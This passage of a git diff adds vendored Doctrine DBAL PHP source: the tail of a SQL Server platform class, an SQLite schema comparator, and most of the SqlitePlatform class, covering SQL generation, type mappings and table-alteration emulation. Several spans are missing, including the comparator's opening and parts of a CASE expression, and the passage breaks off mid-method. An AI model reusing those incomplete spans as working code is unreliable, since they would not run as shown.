test ORDER BY col2) + // if in the searched query ORDER BY clause was found where + // number of open parentheses after the occurrence of the clause is equal to + // number of closed brackets after the occurrence of the clause, + // it means that ORDER BY is included in the query being checked + while ($matchesCount > 0) { + $orderByPos = $matches[0][--$matchesCount][1]; + $openBracketsCount = substr_count($query, '(', $orderByPos); + $closedBracketsCount = substr_count($query, ')', $orderByPos); + if ($openBracketsCount === $closedBracketsCount) { + return false; + } + } + + return true; + } + + public function createSchemaManager(Connection $connection): SQLServerSchemaManager + { + return new SQLServerSchemaManager($connection, $this); + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/SQLite/Comparator.php b/vendor/doctrine/dbal/src/Platforms/SQLite/Comparator.php new file mode 100644 index 000000000..5218871c6 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/SQLite/Comparator.php @@ -0,0 +1,61 @@ +normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + /** + * {@inheritDoc} + */ + public function diffTable(Table $fromTable, Table $toTable) + { + return parent::diffTable( + $this->normalizeColumns($fromTable), + $this->normalizeColumns($toTable), + ); + } + + private function normalizeColumns(Table $table): Table + { + $table = clone $table; + + foreach ($table->getColumns() as $column) { + $options = $column->getPlatformOptions(); + + if (! isset($options['collation']) || strcasecmp($options['collation'], 'binary') !== 0) { + continue; + } + + unset($options['collation']); + $column->setPlatformOptions($options); + } + + return $table; + } +} diff --git a/vendor/doctrine/dbal/src/Platforms/SqlitePlatform.php b/vendor/doctrine/dbal/src/Platforms/SqlitePlatform.php new file mode 100644 index 000000000..5acefc5c8 --- /dev/null +++ b/vendor/doctrine/dbal/src/Platforms/SqlitePlatform.php @@ -0,0 +1,1485 @@ + 0 THEN INSTR(SUBSTR(' . $str . ', ' . $startPos . '), ' . $substr . ') + ' . $startPos + . ' - 1 ELSE 0 END'; + } + + /** + * {@inheritDoc} + */ + protected function getDateArithmeticIntervalExpression($date, $operator, $interval, $unit) + { + switch ($unit) { + case DateIntervalUnit::SECOND: + case DateIntervalUnit::MINUTE: + case DateIntervalUnit::HOUR: + return 'DATETIME(' . $date . ",'" . $operator . $interval . ' ' . $unit . "')"; + } + + switch ($unit) { + case DateIntervalUnit::WEEK: + $interval *= 7; + $unit = DateIntervalUnit::DAY; + break; + + case DateIntervalUnit::QUARTER: + $interval *= 3; + $unit = DateIntervalUnit::MONTH; + break; + } + + if (! is_numeric($interval)) { + $interval = "' || " . $interval . " || '"; + } + + return 'DATE(' . $date . ",'" . $operator . $interval . ' ' . $unit . "')"; + } + + /** + * {@inheritDoc} + */ + public function getDateDiffExpression($date1, $date2) + { + return sprintf("JULIANDAY(%s, 'start of day') - JULIANDAY(%s, 'start of day')", $date1, $date2); + } + + /** + * {@inheritDoc} + * + * The DBAL doesn't support databases on the SQLite platform. The expression here always returns a fixed string + * as an indicator of an implicitly selected database. + * + * @link https://www.sqlite.org/lang_select.html + * @see Connection::getDatabase() + */ + public function getCurrentDatabaseExpression(): string + { + return "'main'"; + } + + /** + * {@inheritDoc} + */ + protected function _getTransactionIsolationLevelSQL($level) + { + switch ($level) { + case TransactionIsolationLevel::READ_UNCOMMITTED: + return '0'; + + case TransactionIsolationLevel::READ_COMMITTED: + case TransactionIsolationLevel::REPEATABLE_READ: + case TransactionIsolationLevel::SERIALIZABLE: + return '1'; + + default: + return parent::_getTransactionIsolationLevelSQL($level); + } + } + + /** + * {@inheritDoc} + */ + public function getSetTransactionIsolationSQL($level) + { + return 'PRAGMA read_uncommitted = ' . $this->_getTransactionIsolationLevelSQL($level); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function prefersIdentityColumns() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/1519', + 'SqlitePlatform::prefersIdentityColumns() is deprecated.', + ); + + return true; + } + + /** + * {@inheritDoc} + */ + public function getBooleanTypeDeclarationSQL(array $column) + { + return 'BOOLEAN'; + } + + /** + * {@inheritDoc} + */ + public function getIntegerTypeDeclarationSQL(array $column) + { + return 'INTEGER' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getBigIntTypeDeclarationSQL(array $column) + { + // SQLite autoincrement is implicit for INTEGER PKs, but not for BIGINT columns + if (! empty($column['autoincrement'])) { + return $this->getIntegerTypeDeclarationSQL($column); + } + + return 'BIGINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * @deprecated Use {@see getSmallIntTypeDeclarationSQL()} instead. + * + * @param array $column + * + * @return string + */ + public function getTinyIntTypeDeclarationSQL(array $column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5511', + '%s is deprecated. Use getSmallIntTypeDeclarationSQL() instead.', + __METHOD__, + ); + + // SQLite autoincrement is implicit for INTEGER PKs, but not for TINYINT columns + if (! empty($column['autoincrement'])) { + return $this->getIntegerTypeDeclarationSQL($column); + } + + return 'TINYINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getSmallIntTypeDeclarationSQL(array $column) + { + // SQLite autoincrement is implicit for INTEGER PKs, but not for SMALLINT columns + if (! empty($column['autoincrement'])) { + return $this->getIntegerTypeDeclarationSQL($column); + } + + return 'SMALLINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * @deprecated Use {@see getIntegerTypeDeclarationSQL()} instead. + * + * @param array $column + * + * @return string + */ + public function getMediumIntTypeDeclarationSQL(array $column) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5511', + '%s is deprecated. Use getIntegerTypeDeclarationSQL() instead.', + __METHOD__, + ); + + // SQLite autoincrement is implicit for INTEGER PKs, but not for MEDIUMINT columns + if (! empty($column['autoincrement'])) { + return $this->getIntegerTypeDeclarationSQL($column); + } + + return 'MEDIUMINT' . $this->_getCommonIntegerTypeDeclarationSQL($column); + } + + /** + * {@inheritDoc} + */ + public function getDateTimeTypeDeclarationSQL(array $column) + { + return 'DATETIME'; + } + + /** + * {@inheritDoc} + */ + public function getDateTypeDeclarationSQL(array $column) + { + return 'DATE'; + } + + /** + * {@inheritDoc} + */ + public function getTimeTypeDeclarationSQL(array $column) + { + return 'TIME'; + } + + /** + * {@inheritDoc} + */ + protected function _getCommonIntegerTypeDeclarationSQL(array $column) + { + // sqlite autoincrement is only possible for the primary key + if (! empty($column['autoincrement'])) { + return ' PRIMARY KEY AUTOINCREMENT'; + } + + return ! empty($column['unsigned']) ? ' UNSIGNED' : ''; + } + + /** + * Disables schema emulation. + * + * Schema emulation is enabled by default to maintain backwards compatibility. + * Disable it to opt-in to the behavior of DBAL 4. + * + * @deprecated Will be removed in DBAL 4.0. + */ + public function disableSchemaEmulation(): void + { + $this->schemaEmulationEnabled = false; + } + + private function emulateSchemaNamespacing(string $tableName): string + { + return $this->schemaEmulationEnabled + ? str_replace('.', '__', $tableName) + : $tableName; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getForeignKeyDeclarationSQL(ForeignKeyConstraint $foreignKey) + { + return parent::getForeignKeyDeclarationSQL(new ForeignKeyConstraint( + $foreignKey->getQuotedLocalColumns($this), + $this->emulateSchemaNamespacing($foreignKey->getQuotedForeignTableName($this)), + $foreignKey->getQuotedForeignColumns($this), + $foreignKey->getName(), + $foreignKey->getOptions(), + )); + } + + /** + * {@inheritDoc} + */ + protected function _getCreateTableSQL($name, array $columns, array $options = []) + { + $name = $this->emulateSchemaNamespacing($name); + $queryFields = $this->getColumnDeclarationListSQL($columns); + + if (isset($options['uniqueConstraints']) && ! empty($options['uniqueConstraints'])) { + foreach ($options['uniqueConstraints'] as $constraintName => $definition) { + $queryFields .= ', ' . $this->getUniqueConstraintDeclarationSQL($constraintName, $definition); + } + } + + $queryFields .= $this->getNonAutoincrementPrimaryKeyDefinition($columns, $options); + + if (isset($options['foreignKeys'])) { + foreach ($options['foreignKeys'] as $foreignKey) { + $queryFields .= ', ' . $this->getForeignKeyDeclarationSQL($foreignKey); + } + } + + $tableComment = ''; + if (isset($options['comment'])) { + $comment = trim($options['comment'], " '"); + + $tableComment = $this->getInlineTableCommentSQL($comment); + } + + $query = ['CREATE TABLE ' . $name . ' ' . $tableComment . '(' . $queryFields . ')']; + + if (isset($options['alter']) && $options['alter'] === true) { + return $query; + } + + if (isset($options['indexes']) && ! empty($options['indexes'])) { + foreach ($options['indexes'] as $indexDef) { + $query[] = $this->getCreateIndexSQL($indexDef, $name); + } + } + + if (isset($options['unique']) && ! empty($options['unique'])) { + foreach ($options['unique'] as $indexDef) { + $query[] = $this->getCreateIndexSQL($indexDef, $name); + } + } + + return $query; + } + + /** + * Generate a PRIMARY KEY definition if no autoincrement value is used + * + * @param mixed[][] $columns + * @param mixed[] $options + */ + private function getNonAutoincrementPrimaryKeyDefinition(array $columns, array $options): string + { + if (empty($options['primary'])) { + return ''; + } + + $keyColumns = array_unique(array_values($options['primary'])); + + foreach ($keyColumns as $keyColumn) { + if (! empty($columns[$keyColumn]['autoincrement'])) { + return ''; + } + } + + return ', PRIMARY KEY(' . implode(', ', $keyColumns) . ')'; + } + + /** + * {@inheritDoc} + */ + protected function getVarcharTypeDeclarationSQLSnippet($length, $fixed) + { + return $fixed ? ($length > 0 ? 'CHAR(' . $length . ')' : 'CHAR(255)') + : ($length > 0 ? 'VARCHAR(' . $length . ')' : 'TEXT'); + } + + /** + * {@inheritDoc} + */ + protected function getBinaryTypeDeclarationSQLSnippet($length, $fixed) + { + return 'BLOB'; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryMaxLength() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'SqlitePlatform::getBinaryMaxLength() is deprecated.', + ); + + return 0; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getBinaryDefaultLength() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/3263', + 'Relying on the default binary column length is deprecated, specify the length explicitly.', + ); + + return 0; + } + + /** + * {@inheritDoc} + */ + public function getClobTypeDeclarationSQL(array $column) + { + return 'CLOB'; + } + + /** + * @deprecated + * + * {@inheritDoc} + */ + public function getListTableConstraintsSQL($table) + { + $table = $this->emulateSchemaNamespacing($table); + + return sprintf( + "SELECT sql FROM sqlite_master WHERE type='index' AND tbl_name = %s AND sql NOT NULL ORDER BY name", + $this->quoteStringLiteral($table), + ); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableColumnsSQL($table, $database = null) + { + $table = $this->emulateSchemaNamespacing($table); + + return sprintf('PRAGMA table_info(%s)', $this->quoteStringLiteral($table)); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTableIndexesSQL($table, $database = null) + { + $table = $this->emulateSchemaNamespacing($table); + + return sprintf('PRAGMA index_list(%s)', $this->quoteStringLiteral($table)); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * {@inheritDoc} + */ + public function getListTablesSQL() + { + return 'SELECT name FROM sqlite_master' + . " WHERE type = 'table'" + . " AND name != 'sqlite_sequence'" + . " AND name != 'geometry_columns'" + . " AND name != 'spatial_ref_sys'" + . ' UNION ALL SELECT name FROM sqlite_temp_master' + . " WHERE type = 'table' ORDER BY name"; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractSchemaManager} class hierarchy. + */ + public function getListViewsSQL($database) + { + return "SELECT name, sql FROM sqlite_master WHERE type='view' AND sql NOT NULL"; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getAdvancedForeignKeyOptionsSQL(ForeignKeyConstraint $foreignKey) + { + $query = parent::getAdvancedForeignKeyOptionsSQL($foreignKey); + + if (! $foreignKey->hasOption('deferrable') || $foreignKey->getOption('deferrable') === false) { + $query .= ' NOT'; + } + + $query .= ' DEFERRABLE'; + $query .= ' INITIALLY'; + + if ($foreignKey->hasOption('deferred') && $foreignKey->getOption('deferred') !== false) { + $query .= ' DEFERRED'; + } else { + $query .= ' IMMEDIATE'; + } + + return $query; + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function supportsCreateDropDatabase() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5513', + '%s is deprecated.', + __METHOD__, + ); + + return false; + } + + /** + * {@inheritDoc} + */ + public function supportsIdentityColumns() + { + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsColumnCollation() + { + return true; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function supportsInlineColumnComments() + { + return true; + } + + /** + * {@inheritDoc} + */ + public function getName() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4749', + 'SqlitePlatform::getName() is deprecated. Identify platforms by their class.', + ); + + return 'sqlite'; + } + + /** + * {@inheritDoc} + */ + public function getTruncateTableSQL($tableName, $cascade = false) + { + $tableIdentifier = new Identifier($tableName); + $tableName = $this->emulateSchemaNamespacing($tableIdentifier->getQuotedName($this)); + + return 'DELETE FROM ' . $tableName; + } + + /** + * User-defined function for Sqlite that is used with PDO::sqliteCreateFunction(). + * + * @deprecated The driver will use {@see sqrt()} in the next major release. + * + * @param int|float $value + * + * @return float + */ + public static function udfSqrt($value) + { + return sqrt($value); + } + + /** + * User-defined function for Sqlite that implements MOD(a, b). + * + * @deprecated The driver will use {@see UserDefinedFunctions::mod()} in the next major release. + * + * @param int $a + * @param int $b + * + * @return int + */ + public static function udfMod($a, $b) + { + return UserDefinedFunctions::mod($a, $b); + } + + /** + * @deprecated The driver will use {@see UserDefinedFunctions::locate()} in the next major release. + * + * @param string $str + * @param string $substr + * @param int $offset + * + * @return int + */ + public static function udfLocate($str, $substr, $offset = 0) + { + return UserDefinedFunctions::locate($str, $substr, $offset); + } + + /** + * {@inheritDoc} + */ + public function getForUpdateSQL() + { + return ''; + } + + /** + * {@inheritDoc} + * + * @internal The method should be only used from within the {@see AbstractPlatform} class hierarchy. + */ + public function getInlineColumnCommentSQL($comment) + { + return '--' . str_replace("\n", "\n--", $comment) . "\n"; + } + + private function getInlineTableCommentSQL(string $comment): string + { + return $this->getInlineColumnCommentSQL($comment); + } + + /** + * {@inheritDoc} + */ + protected function initializeDoctrineTypeMappings() + { + $this->doctrineTypeMapping = [ + 'bigint' => Types\Types::BIGINT, + 'bigserial' => Types\Types::BIGINT, + 'blob' => Types\Types::BLOB, + 'boolean' => Types\Types::BOOLEAN, + 'char' => Types\Types::STRING, + 'clob' => Types\Types::TEXT, + 'date' => Types\Types::DATE_MUTABLE, + 'datetime' => Types\Types::DATETIME_MUTABLE, + 'decimal' => Types\Types::DECIMAL, + 'double' => Types\Types::FLOAT, + 'double precision' => Types\Types::FLOAT, + 'float' => Types\Types::FLOAT, + 'image' => Types\Types::STRING, + 'int' => Types\Types::INTEGER, + 'integer' => Types\Types::INTEGER, + 'longtext' => Types\Types::TEXT, + 'longvarchar' => Types\Types::STRING, + 'mediumint' => Types\Types::INTEGER, + 'mediumtext' => Types\Types::TEXT, + 'ntext' => Types\Types::STRING, + 'numeric' => Types\Types::DECIMAL, + 'nvarchar' => Types\Types::STRING, + 'real' => Types\Types::FLOAT, + 'serial' => Types\Types::INTEGER, + 'smallint' => Types\Types::SMALLINT, + 'text' => Types\Types::TEXT, + 'time' => Types\Types::TIME_MUTABLE, + 'timestamp' => Types\Types::DATETIME_MUTABLE, + 'tinyint' => Types\Types::BOOLEAN, + 'tinytext' => Types\Types::TEXT, + 'varchar' => Types\Types::STRING, + 'varchar2' => Types\Types::STRING, + ]; + } + + /** + * {@inheritDoc} + * + * @deprecated Implement {@see createReservedKeywordsList()} instead. + */ + protected function getReservedKeywordsClass() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4510', + 'SqlitePlatform::getReservedKeywordsClass() is deprecated,' + . ' use SqlitePlatform::createReservedKeywordsList() instead.', + ); + + return Keywords\SQLiteKeywords::class; + } + + /** + * {@inheritDoc} + */ + protected function getPreAlterTableIndexForeignKeySQL(TableDiff $diff) + { + return []; + } + + /** + * {@inheritDoc} + */ + protected function getPostAlterTableIndexForeignKeySQL(TableDiff $diff) + { + $table = $diff->getOldTable(); + + if (! $table instanceof Table) { + throw new Exception( + 'Sqlite platform requires for alter table the table diff with reference to original table schema', + ); + } + + $sql = []; + $tableName = $diff->getNewName(); + + if ($tableName === false) { + $tableName = $diff->getName($this); + } + + foreach ($this->getIndexesInAlteredTable($diff, $table) as $index) { + if ($index->isPrimary()) { + continue; + } + + $sql[] = $this->getCreateIndexSQL($index, $tableName->getQuotedName($this)); + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + protected function doModifyLimitQuery($query, $limit, $offset) + { + if ($limit === null && $offset > 0) { + return sprintf('%s LIMIT -1 OFFSET %d', $query, $offset); + } + + return parent::doModifyLimitQuery($query, $limit, $offset); + } + + /** + * {@inheritDoc} + */ + public function getBlobTypeDeclarationSQL(array $column) + { + return 'BLOB'; + } + + /** + * {@inheritDoc} + */ + public function getTemporaryTableName($tableName) + { + $tableName = $this->emulateSchemaNamespacing($tableName); + + return $tableName; + } + + /** + * {@inheritDoc} + * + * @deprecated + * + * Sqlite Platform emulates schema by underscoring each dot and generating tables + * into the default database. + * + * This hack is implemented to be able to use SQLite as testdriver when + * using schema supporting databases. + */ + public function canEmulateSchemas() + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4805', + 'SqlitePlatform::canEmulateSchemas() is deprecated.', + ); + + return $this->schemaEmulationEnabled; + } + + /** + * {@inheritDoc} + */ + public function getCreateTablesSQL(array $tables): array + { + $sql = []; + + foreach ($tables as $table) { + $sql = array_merge($sql, $this->getCreateTableSQL($table)); + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + public function getDropTablesSQL(array $tables): array + { + $sql = []; + + foreach ($tables as $table) { + $sql[] = $this->getDropTableSQL($table->getQuotedName($this)); + } + + return $sql; + } + + /** + * {@inheritDoc} + */ + public function getCreatePrimaryKeySQL(Index $index, $table) + { + throw new Exception('Sqlite platform does not support alter primary key.'); + } + + /** + * {@inheritDoc} + */ + public function getCreateForeignKeySQL(ForeignKeyConstraint $foreignKey, $table) + { + throw new Exception('Sqlite platform does not support alter foreign key.'); + } + + /** + * {@inheritDoc} + */ + public function getDropForeignKeySQL($foreignKey, $table) + { + throw new Exception('Sqlite platform does not support alter foreign key.'); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getCreateConstraintSQL(Constraint $constraint, $table) + { + throw new Exception('Sqlite platform does not support alter constraint.'); + } + + /** + * {@inheritDoc} + * + * @param int|null $createFlags + * @psalm-param int-mask-of|null $createFlags + */ + public function getCreateTableSQL(Table $table, $createFlags = null) + { + $createFlags = $createFlags ?? self::CREATE_INDEXES | self::CREATE_FOREIGNKEYS; + + return parent::getCreateTableSQL($table, $createFlags); + } + + /** + * @deprecated The SQL used for schema introspection is an implementation detail and should not be relied upon. + * + * @param string $table + * @param string|null $database + * + * @return string + */ + public function getListTableForeignKeysSQL($table, $database = null) + { + $table = $this->emulateSchemaNamespacing($table); + + return sprintf('PRAGMA foreign_key_list(%s)', $this->quoteStringLiteral($table)); + } + + /** + * {@inheritDoc} + */ + public function getAlterTableSQL(TableDiff $diff) + { + $sql = $this->getSimpleAlterTableSQL($diff); + if ($sql !== false) { + return $sql; + } + + $table = $diff->getOldTable(); + + if (! $table instanceof Table) { + throw new Exception( + 'Sqlite platform requires for alter table the table diff with reference to original table schema', + ); + } + + $columns = []; + $oldColumnNames = []; + $newColumnNames = []; + $columnSql = []; + + foreach ($table->getColumns() as $columnName => $column) { + $columnName = strtolower($columnName); + $columns[$columnName] = $column; + $oldColumnNames[$columnName] = $newColumnNames[$columnName] = $column->getQuotedName($this); + } + + foreach ($diff->getDroppedColumns() as $column) { + if ($this->onSchemaAlterTableRemoveColumn($column, $diff, $columnSql)) { + continue; + } + + $columnName = strtolower($column->getName()); + if (! isset($columns[$columnName])) { + continue; + } + + unset( + $columns[$columnName], + $oldColumnNames[$columnName], + $newColumnNames[$columnName], + ); + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + if ($this->onSchemaAlterTableRenameColumn($oldColumnName, $column, $diff, $columnSql)) { + continue; + } + + $oldColumnName = strtolower($oldColumnName); + + $columns = $this->replaceColumn( + $table->getName(), + $columns, + $oldColumnName, + $column, + ); + + if (! isset($newColumnNames[$oldColumnName])) { + continue; + } + + $newColumnNames[$oldColumnName] = $column->getQuotedName($this); + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + if ($this->onSchemaAlterTableChangeColumn($columnDiff, $diff, $columnSql)) { + continue; + } + + $oldColumn = $columnDiff->getOldColumn() ?? $columnDiff->getOldColumnName(); + + $oldColumnName = strtolower($oldColumn->getName()); + + $columns = $this->replaceColumn( + $table->getName(), + $columns, + $oldColumnName, + $columnDiff->getNewColumn(), + ); + + if (! isset($newColumnNames[$oldColumnName])) { + continue; + } + + $newColumnNames[$oldColumnName] = $columnDiff->getNewColumn()->getQuotedName($this); + } + + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $columns[strtolower($column->getName())] = $column; + } + + $sql = []; + $tableSql = []; + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + $dataTable = new Table('__temp__' . $table->getName()); + + $newTable = new Table( + $table->getQuotedName($this), + $columns, + $this->getPrimaryIndexInAlteredTable($diff, $table), + [], + $this->getForeignKeysInAlteredTable($diff, $table), + $table->getOptions(), + ); + $newTable->addOption('alter', true); + + $sql = $this->getPreAlterTableIndexForeignKeySQL($diff); + + $sql[] = sprintf( + 'CREATE TEMPORARY TABLE %s AS SELECT %s FROM %s', + $dataTable->getQuotedName($this), + implode(', ', $oldColumnNames), + $table->getQuotedName($this), + ); + $sql[] = $this->getDropTableSQL($table); + + $sql = array_merge($sql, $this->getCreateTableSQL($newTable)); + $sql[] = sprintf( + 'INSERT INTO %s (%s) SELECT %s FROM %s', + $newTable->getQuotedName($this), + implode(', ', $newColumnNames), + implode(', ', $oldColumnNames), + $dataTable->getQuotedName($this), + ); + $sql[] = $this->getDropTableSQL($dataTable->getQuotedName($this)); + + $newName = $diff->getNewName(); + + if ($newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of "rename table" SQL using %s is deprecated. Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $sql[] = sprintf( + 'ALTER TABLE %s RENAME TO %s', + $newTable->getQuotedName($this), + $newName->getQuotedName($this), + ); + } + + $sql = array_merge($sql, $this->getPostAlterTableIndexForeignKeySQL($diff)); + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** + * Replace the column with the given name with the new column. + * + * @param string $tableName + * @param array $columns + * @param string $columnName + * + * @return array + * + * @throws Exception + */ + private function replaceColumn($tableName, array $columns, $columnName, Column $column): array + { + $keys = array_keys($columns); + $index = array_search($columnName, $keys, true); + + if ($index === false) { + throw SchemaException::columnDoesNotExist($columnName, $tableName); + } + + $values = array_values($columns); + + $keys[$index] = strtolower($column->getName()); + $values[$index] = $column; + + return array_combine($keys, $values); + } + + /** + * @return string[]|false + * + * @throws Exception + */ + private function getSimpleAlterTableSQL(TableDiff $diff) + { + // Suppress changes on integer type autoincrement columns. + foreach ($diff->getModifiedColumns() as $columnDiff) { + $oldColumn = $columnDiff->getOldColumn(); + + if ($oldColumn === null) { + continue; + } + + $newColumn = $columnDiff->getNewColumn(); + + if (! $newColumn->getAutoincrement() || ! $newColumn->getType() instanceof IntegerType) { + continue; + } + + $oldColumnName = $oldColumn->getName(); + + if (! $columnDiff->hasTypeChanged() && $columnDiff->hasUnsignedChanged()) { + unset($diff->changedColumns[$oldColumnName]); + + continue; + } + + $fromColumnType = $oldColumn->getType(); + + if (! ($fromColumnType instanceof Types\SmallIntType) && ! ($fromColumnType instanceof Types\BigIntType)) { + continue; + } + + unset($diff->changedColumns[$oldColumnName]); + } + + if ( + count($diff->getModifiedColumns()) > 0 + || count($diff->getDroppedColumns()) > 0 + || count($diff->getRenamedColumns()) > 0 + || count($diff->getAddedIndexes()) > 0 + || count($diff->getModifiedIndexes()) > 0 + || count($diff->getDroppedIndexes()) > 0 + || count($diff->getRenamedIndexes()) > 0 + || count($diff->getAddedForeignKeys()) > 0 + || count($diff->getModifiedForeignKeys()) > 0 + || count($diff->getDroppedForeignKeys()) > 0 + ) { + return false; + } + + $table = $diff->getOldTable() ?? $diff->getName($this); + + $sql = []; + $tableSql = []; + $columnSql = []; + + foreach ($diff->getAddedColumns() as $column) { + if ($this->onSchemaAlterTableAddColumn($column, $diff, $columnSql)) { + continue; + } + + $definition = array_merge([ + 'unique' => null, + 'autoincrement' => null, + 'default' => null, + ], $column->toArray()); + + $type = $definition['type']; + + switch (true) { + case isset($definition['columnDefinition']) || $definition['autoincrement'] || $definition['unique']: + case $type instanceof Types\DateTimeType && $definition['default'] === $this->getCurrentTimestampSQL(): + case $type instanceof Types\DateType && $definition['default'] === $this->getCurrentDateSQL(): + case $type instanceof Types\TimeType && $definition['default'] === $this->getCurrentTimeSQL(): + return false; + } + + $definition['name'] = $column->getQuotedName($this); + if ($type instanceof Types\StringType) { + $definition['length'] ??= 255; + } + + $sql[] = 'ALTER TABLE ' . $table->getQuotedName($this) . ' ADD COLUMN ' + . $this->getColumnDeclarationSQL($definition['name'], $definition); + } + + if (! $this->onSchemaAlterTable($diff, $tableSql)) { + if ($diff->newName !== false) { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5663', + 'Generation of SQL that renames a table using %s is deprecated.' + . ' Use getRenameTableSQL() instead.', + __METHOD__, + ); + + $newTable = new Identifier($diff->newName); + + $sql[] = 'ALTER TABLE ' . $table->getQuotedName($this) . ' RENAME TO ' + . $newTable->getQuotedName($this); + } + } + + return array_merge($sql, $tableSql, $columnSql); + } + + /** @return string[] */ + private function getColumnNamesInAlteredTable(TableDiff $diff, Table $fromTable): array + { + $columns = []; + + foreach ($fromTable->getColumns() as $columnName => $column) { + $columns[strtolower($columnName)] = $column->getName(); + } + + foreach ($diff->getDroppedColumns() as $column) { + $columnName = strtolower($column->getName()); + if (! isset($columns[$columnName])) { + continue; + } + + unset($columns[$columnName]); + } + + foreach ($diff->getRenamedColumns() as $oldColumnName => $column) { + $columnName = $column->getName(); + $columns[strtolower($oldColumnName)] = $columnName; + $columns[strtolower($columnName)] = $columnName; + } + + foreach ($diff->getModifiedColumns() as $columnDiff) { + $oldColumn = $columnDiff->getOldColumn() ?? $columnDiff->getOldColumnName(); + + $oldColumnName = $oldColumn->getName(); + $newColumnName = $columnDiff->getNewColumn()->getName(); + $columns[strtolower($oldColumnName)] = $newColumnName; + $columns[strtolower($newColumnName)] = $newColumnName; + } + + foreach ($diff->getAddedColumns() as $column) { + $columnName = $column->getName(); + $columns[strtolower($columnName)] = $columnName; + } + + return $columns; + } + + /** @return Index[] */ + private function getIndexesInAlteredTable(TableDiff $diff, Table $fromTable): array + { + $indexes = $fromTable->getIndexes(); + $columnNames = $this->getColumnNamesInAlteredTable($diff, $fromTable); + + foreach ($indexes as $key => $index) { + foreach ($diff->getRenamedIndexes() as $oldIndexName => $renamedIndex) { + if (strtolower($key) !== strtolower($oldIndexName)) { + continue; + } + + unset($indexes[$key]); + } + + $changed = false; + $indexColumns = []; + foreach ($index->getColumns() as $columnName) { + $normalizedColumnName = strtolower($columnName); + if (! isset($columnNames[$normalizedColumnName])) { + unset($indexes[$key]); + continue 2; + } + + $indexColumns[] = $columnNames[$normalizedColumnName]; + if ($columnName === $columnNames[$normalizedColumnName]) { + continue; + } + + $changed = true; + } + + if (! $changed) { + continue; + } + + $indexes[$key] = new Index( + $index->getName(), + $indexColumns, + $index->isUnique(), + $index->isPrimary(), + $index->getFlags(), + ); + } + + foreach ($diff->getDroppedIndexes() as $index) { + $indexName = strtolower($index->getName()); + if (strlen($indexName) === 0 || ! isset($indexes[$indexName])) { + continue; + } + + unset($indexes[$indexName]); + } + + foreach ( + array_merge( + $diff->getModifiedIndexes(), + $diff->getAddedIndexes(), + $diff->getRenamedIndexes(), + ) as $index + ) { + $indexName = strtolower($index->getName()); + if (strlen($indexName) > 0) { + $indexes[$indexName] = $index; + } else { + $indexes[] = $index; + } + } + + return $indexes; + } + + /** @return ForeignKeyConstraint[] */ + private function getForeignKeysInAlteredTable(TableDiff $diff, Table $fromTable): array + { + $foreignKeys = $fromTable->getForeignKeys(); + $columnNames = $this->getColumnNamesInAlteredTable($diff, $fromTable); + + foreach ($foreignKeys as $key => $constraint) { + $changed = false; + $localColumns = []; + foreach ($constraint->getLocalColumns() as $columnName) { + $normalizedColumnName = strtolower($columnName); + if (! isset($columnNames[$normalizedColumnName])) { + unset($foreignKeys[$key]); + continue 2; + } + + $localColumns[] = $columnNames[$normalizedColumnName]; + if ($columnName === $columnNames[$normalizedColumnName]) { + continue; + } + + $changed = true; + } + + if (! $changed) { + continue; + } + + $foreignKeys[$key] = new ForeignKeyConstraint( + $localColumns, + $constraint->getForeignTableName(), + $constraint->getForeignColumns(), + $constraint->getName(), + $constraint->getOptions(), + ); + } + + foreach ($diff->getDroppedForeignKeys() as $constraint) { + if (! $constraint 